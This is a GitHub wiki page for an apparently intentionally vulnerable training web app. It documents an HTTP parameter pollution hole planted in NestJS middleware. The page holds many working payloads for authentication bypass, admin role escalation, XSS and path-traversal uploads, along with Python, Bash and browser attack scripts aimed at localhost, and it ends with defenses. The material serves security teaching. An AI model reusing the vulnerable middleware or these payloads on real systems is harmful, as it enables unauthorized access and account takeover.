Parameter Pollution - capstone-hermes/hermes-fullstack GitHub Wiki

Parameter Pollution

Overview

HTTP Parameter Pollution (HPP) is a web application vulnerability that occurs when an application accepts and processes multiple parameters with the same name in unexpected ways. The Weak Website implements a global parameter pollution vulnerability that affects all endpoints and can be exploited for authentication bypass, authorization bypass, and business logic manipulation.

Vulnerable Implementation

Global Middleware

File: server/src/vulnerable-params.middleware.ts

@Injectable()
export class VulnerableParamsMiddleware implements NestMiddleware {
  use(req: any, res: any, next: () => void) {
    // V5.1.1: Apply parameter pollution vulnerability globally
    if (req.body && typeof req.body === 'object') {
      Object.keys(req.body).forEach(key => {
        if (Array.isArray(req.body[key])) {
          // Last parameter wins - vulnerable behavior
          req.body[key] = req.body[key][req.body[key].length - 1];
        }
      });
    }
    next();
  }
}

Application-wide Impact

File: server/src/app.module.ts:36-39

export class AppModule implements NestModule {
  configure(consumer: MiddlewareConsumer) {
    // Apply vulnerable middleware to all routes
    consumer.apply(VulnerableParamsMiddleware).forRoutes('*');
  }
}

Parameter Pollution Mechanisms

1. Last Parameter Wins

The middleware implements a "last parameter wins" policy where duplicate parameters result in the final value being used.

// Input with duplicate parameters
{
  "email": ["[email protected]", "[email protected]"],
  "password": ["userpass", "adminpass"],
  "role": ["user", "admin"]
}

// After middleware processing
{
  "email": "[email protected]",      // Last value wins
  "password": "adminpass",        // Last value wins  
  "role": "admin"                 // Last value wins
}

2. Array Parameter Processing

When arrays are detected, the middleware automatically selects the last element, making this behavior predictable for attackers.

Exploitation Scenarios

1. Authentication Bypass

Basic Authentication Pollution

# Standard request with pollution
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","email":"[email protected]","password":"wrong","password":"password123"}'

JSON Array Method

// Using arrays in JSON
fetch('http://localhost:8080/auth/login', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    email: ['[email protected]', '[email protected]'],
    password: ['normalpass', 'password123']
  })
});

Form Data Pollution

# Using form data with duplicate parameters
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "[email protected]&[email protected]&password=wrong&password=correct"

2. Registration Privilege Escalation

Admin Account Creation

# Create admin user via parameter pollution
curl -X POST http://localhost:8080/auth/signup \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"Pass123!","role":"user","role":"admin"}'

Expected behavior: User role assignment Actual behavior: Admin role assignment due to last parameter winning

Multiple Account Creation

// Attempt to create multiple accounts simultaneously
const response = await fetch('/auth/signup', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    email: ['[email protected]', '[email protected]', '[email protected]'],
    password: ['pass1', 'pass2', 'adminpass123'],
    role: ['user', 'user', 'admin']
  })
});

3. Post Creation Manipulation

Content Injection

# Post with multiple content parameters
curl -X POST http://localhost:8080/posts/create \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <token>" \
  -d '{"content":"Normal post","content":"<script>alert('\''XSS'\'')</script>"}'

User ID Spoofing

// Attempt to post as different user
fetch('/posts/create', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'Authorization': 'Bearer ' + token
  },
  body: JSON.stringify({
    content: 'My post',
    userId: [authenticatedUserId, targetUserId] // Try to spoof user ID
  })
});

4. File Upload Bypass

Filename Manipulation

# Upload with multiple filenames
curl -X POST http://localhost:8080/file/upload \
  -F "[email protected];filename=innocent.jpg;filename=../../../backdoor.php"

Path Manipulation

// Multiple path parameters
const formData = new FormData();
formData.append('file', file);
formData.append('path', 'uploads/safe/');
formData.append('path', '../../../');

Advanced Pollution Techniques

1. Nested Parameter Pollution

Object Property Pollution

// Pollute nested object properties
const payload = {
  user: {
    email: ['[email protected]', '[email protected]'],
    role: ['user', 'admin'],
    permissions: [['read'], ['read', 'write', 'admin']]
  }
};

Deep Object Manipulation

# Complex nested pollution
curl -X POST http://localhost:8080/api/endpoint \
  -H "Content-Type: application/json" \
  -d '{
    "config": {
      "security": ["enabled", "disabled"],
      "access": ["restricted", "unrestricted"]
    }
  }'

2. Business Logic Bypass

Price Manipulation

// E-commerce scenario (theoretical)
const order = {
  item: 'premium_product',
  price: [299.99, 1.00],        // Try to pay $1 instead of $299.99
  currency: ['USD', 'EUR'],      // Currency confusion
  discount: [0, 100]            // Apply 100% discount
};

Quantity Manipulation

// Inventory bypass
const purchase = {
  productId: 'limited_item',
  quantity: [1, 999],           // Purchase 999 instead of 1
  maxQuantity: [1, 999]         // Override purchase limits
};

3. Access Control Bypass

Permission Escalation

# API access control bypass
curl -X POST http://localhost:8080/api/admin/action \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <user_token>" \
  -d '{"action":"read","action":"admin","permission":"user","permission":"admin"}'

Resource Access Bypass

// Resource permission manipulation
const request = {
  resourceId: 'public_resource',
  accessLevel: ['read', 'admin'],
  permissions: [['read'], ['read', 'write', 'delete']]
};

Platform-Specific Behavior

Different Server Behaviors

Node.js/Express (Current)

  • Behavior: Last parameter wins (implemented by middleware)
  • Arrays: Processed by custom middleware
  • Objects: Deep parameter pollution possible

PHP Behavior (Reference)

// PHP behavior with duplicate parameters
// URL: ?param=value1&param=value2
// Result: $_GET['param'] = 'value2' (last wins)

// Array notation
// URL: ?param[]=value1&param[]=value2  
// Result: $_GET['param'] = ['value1', 'value2']

ASP.NET Behavior (Reference)

// ASP.NET behavior
// URL: ?param=value1&param=value2
// Result: Request.QueryString["param"] = "value1,value2" (comma-separated)

Client-Side Variations

Browser Form Submission

<!-- HTML form with duplicate names -->
<form method="POST" action="/auth/login">
  <input name="email" value="[email protected]">
  <input name="email" value="[email protected]" style="display:none">
  <input name="password" value="userpass">
  <input name="password" value="adminpass" style="display:none">
</form>

AJAX Request Manipulation

// XMLHttpRequest pollution
const xhr = new XMLHttpRequest();
xhr.open('POST', '/auth/login');
xhr.setRequestHeader('Content-Type', 'application/json');

const data = JSON.stringify({
  email: ['[email protected]', '[email protected]'],
  password: ['normalpass', 'adminpass']
});

xhr.send(data);

Automated Testing Tools

Python Parameter Pollution Scanner

#!/usr/bin/env python3
import requests
import json
from itertools import combinations

class ParameterPollutionTester:
    def __init__(self, base_url):
        self.base_url = base_url
        self.session = requests.Session()
    
    def test_login_pollution(self):
        """Test parameter pollution in login endpoint"""
        # Test different pollution techniques
        techniques = [
            # Array method
            {
                "email": ["[email protected]", "[email protected]"],
                "password": ["userpass", "password123"]
            },
            # Duplicate key method (JSON)
            '{"email":"[email protected]","email":"[email protected]","password":"userpass","password":"password123"}',
        ]
        
        for i, technique in enumerate(techniques):
            print(f"Testing technique {i+1}")
            
            if isinstance(technique, str):
                # Raw JSON string
                response = self.session.post(
                    f"{self.base_url}/auth/login",
                    data=technique,
                    headers={'Content-Type': 'application/json'}
                )
            else:
                # Dictionary
                response = self.session.post(
                    f"{self.base_url}/auth/login",
                    json=technique
                )
            
            if response.status_code == 200 and 'token' in response.text:
                print(f"✓ Pollution successful with technique {i+1}")
                return response.json().get('token')
            else:
                print(f"✗ Technique {i+1} failed")
        
        return None
    
    def test_registration_pollution(self):
        """Test privilege escalation via registration pollution"""
        pollution_data = {
            "email": f"polluted_{int(__import__('time').time())}@test.com",
            "password": ["UserPass123!", "AdminPass123!"],
            "role": ["user", "admin"]  # Try to get admin role
        }
        
        response = self.session.post(
            f"{self.base_url}/auth/signup",
            json=pollution_data
        )
        
        if response.status_code == 200:
            print("✓ Registration pollution may be successful")
            # Try to login with the polluted account
            login_data = {
                "email": pollution_data["email"],
                "password": pollution_data["password"][-1]  # Use last password
            }
            
            login_response = self.session.post(
                f"{self.base_url}/auth/login",
                json=login_data
            )
            
            if 'token' in login_response.text:
                return login_response.json().get('token')
        
        return None
    
    def test_post_pollution(self, auth_token):
        """Test content pollution in post creation"""
        if not auth_token:
            return False
        
        headers = {'Authorization': f'Bearer {auth_token}'}
        pollution_data = {
            "content": ["Normal content", "<script>alert('Polluted XSS')</script>"],
            "userId": [1, 999]  # Try to spoof user ID
        }
        
        response = self.session.post(
            f"{self.base_url}/posts/create",
            json=pollution_data,
            headers=headers
        )
        
        return response.status_code == 201
    
    def run_all_tests(self):
        """Run comprehensive parameter pollution tests"""
        print("=== Parameter Pollution Test Suite ===")
        
        # Test authentication pollution
        token = self.test_login_pollution()
        if token:
            print(f"Login pollution successful. Token: {token[:20]}...")
        
        # Test registration pollution  
        reg_token = self.test_registration_pollution()
        if reg_token:
            print(f"Registration pollution successful. Token: {reg_token[:20]}...")
        
        # Test post pollution
        test_token = token or reg_token
        if test_token:
            post_success = self.test_post_pollution(test_token)
            print(f"Post pollution: {'✓ Successful' if post_success else '✗ Failed'}")
        
        print("=== Test Complete ===")

# Example usage
tester = ParameterPollutionTester("http://localhost:8080")
tester.run_all_tests()

Bash Pollution Testing Script

#!/bin/bash

BASE_URL="http://localhost:8080"

echo "=== Parameter Pollution Test Suite ==="

# Test 1: Authentication Pollution
echo "Test 1: Authentication Parameter Pollution"

# Method 1: JSON array pollution
echo "Method 1: JSON Array Pollution"
curl -s -X POST "$BASE_URL/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"email":["[email protected]","[email protected]"],"password":["wrong","password123"]}' \
  | jq '.'

# Method 2: Duplicate key pollution (requires special parsing)
echo "Method 2: Duplicate Key Pollution"
curl -s -X POST "$BASE_URL/auth/login" \
  -H "Content-Type: application/json" \
  --data-raw '{"email":"[email protected]","email":"[email protected]","password":"wrong","password":"password123"}' \
  | jq '.'

# Test 2: Registration Privilege Escalation
echo -e "\nTest 2: Registration Privilege Escalation"
TIMESTAMP=$(date +%s)
curl -s -X POST "$BASE_URL/auth/signup" \
  -H "Content-Type: application/json" \
  -d "{\"email\":\"polluted_$TIMESTAMP@test.com\",\"password\":[\"UserPass123!\",\"AdminPass123!\"],\"role\":[\"user\",\"admin\"]}" \
  | jq '.'

# Test 3: Form Data Pollution
echo -e "\nTest 3: Form Data Parameter Pollution"
curl -s -X POST "$BASE_URL/auth/login" \
  -d "[email protected]&[email protected]&password=wrong&password=password123" \
  | jq '.'

echo -e "\n=== Test Complete ==="

Browser-based Testing

// Browser console testing for parameter pollution
class ParameterPollutionTest {
  constructor(baseUrl) {
    this.baseUrl = baseUrl;
  }
  
  async testAuthPollution() {
    // Test 1: Array pollution
    const arrayPollution = await fetch(`${this.baseUrl}/auth/login`, {
      method: 'POST',
      headers: {'Content-Type': 'application/json'},
      body: JSON.stringify({
        email: ['[email protected]', '[email protected]'],
        password: ['userpass', 'password123']
      })
    });
    
    console.log('Array pollution result:', await arrayPollution.text());
    
    // Test 2: Form data pollution
    const formData = new FormData();
    formData.append('email', '[email protected]');
    formData.append('email', '[email protected]');
    formData.append('password', 'userpass');
    formData.append('password', 'password123');
    
    const formPollution = await fetch(`${this.baseUrl}/auth/login`, {
      method: 'POST',
      body: formData
    });
    
    console.log('Form pollution result:', await formPollution.text());
  }
  
  async testPostPollution(token) {
    const response = await fetch(`${this.baseUrl}/posts/create`, {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
        'Authorization': `Bearer ${token}`
      },
      body: JSON.stringify({
        content: ['Normal post', '<script>alert("Polluted XSS")</script>'],
        userId: [1, 999]
      })
    });
    
    console.log('Post pollution result:', await response.text());
  }
}

// Usage in browser console
const tester = new ParameterPollutionTest('http://localhost:8080');
tester.testAuthPollution();

Impact Assessment

Security Implications

Authentication Bypass

  • Impact: Complete authentication system bypass
  • Risk Level: Critical
  • Business Impact: Unauthorized access to all user accounts

Privilege Escalation

  • Impact: Normal users gain administrative privileges
  • Risk Level: High
  • Business Impact: Unauthorized system administration

Business Logic Bypass

  • Impact: Application logic circumvention
  • Risk Level: Medium to High
  • Business Impact: Fraudulent transactions, data manipulation

Attack Scenarios

Scenario 1: Mass Account Takeover

  1. Discovery: Attacker finds parameter pollution in login
  2. Enumeration: Tests pollution with known admin emails
  3. Exploitation: Bypasses authentication for multiple accounts
  4. Impact: Complete user database compromise

Scenario 2: Privilege Escalation Chain

  1. Registration: Create account with user privileges
  2. Pollution: Use parameter pollution to gain admin role
  3. Persistence: Create additional admin accounts
  4. Impact: Permanent administrative access

Scenario 3: Data Manipulation

  1. Authentication: Gain access via pollution
  2. Content Injection: Use pollution to inject malicious content
  3. User Targeting: Pollute user IDs to post as other users
  4. Impact: Reputation damage, malicious content distribution

Defense Strategies

Input Validation (Secure Implementation)

// Proper parameter handling
@Injectable()
export class SecureParamsMiddleware implements NestMiddleware {
  use(req: any, res: any, next: () => void) {
    // Reject duplicate parameters
    if (req.body && typeof req.body === 'object') {
      Object.keys(req.body).forEach(key => {
        if (Array.isArray(req.body[key])) {
          // Log and reject duplicate parameters
          console.warn(`Duplicate parameter detected: ${key}`);
          throw new BadRequestException('Duplicate parameters not allowed');
        }
      });
    }
    next();
  }
}

Schema Validation

// Using class-validator for strict validation
export class LoginDto {
  @IsEmail()
  @IsString()
  email: string;
  
  @IsString()
  @MinLength(6)
  password: string;
}

Server Configuration

// Express.js configuration
app.use(express.json({
  strict: true,        // Reject non-JSON
  limit: '10mb',       // Limit payload size
  verify: (req, res, buf) => {
    // Custom validation logic
    const body = buf.toString();
    if (body.includes('"email"') && body.lastIndexOf('"email"') !== body.indexOf('"email"')) {
      throw new Error('Duplicate parameters detected');
    }
  }
}));

Next Steps:

Related Topics:

⚠️ **GitHub.com Fallback** ⚠️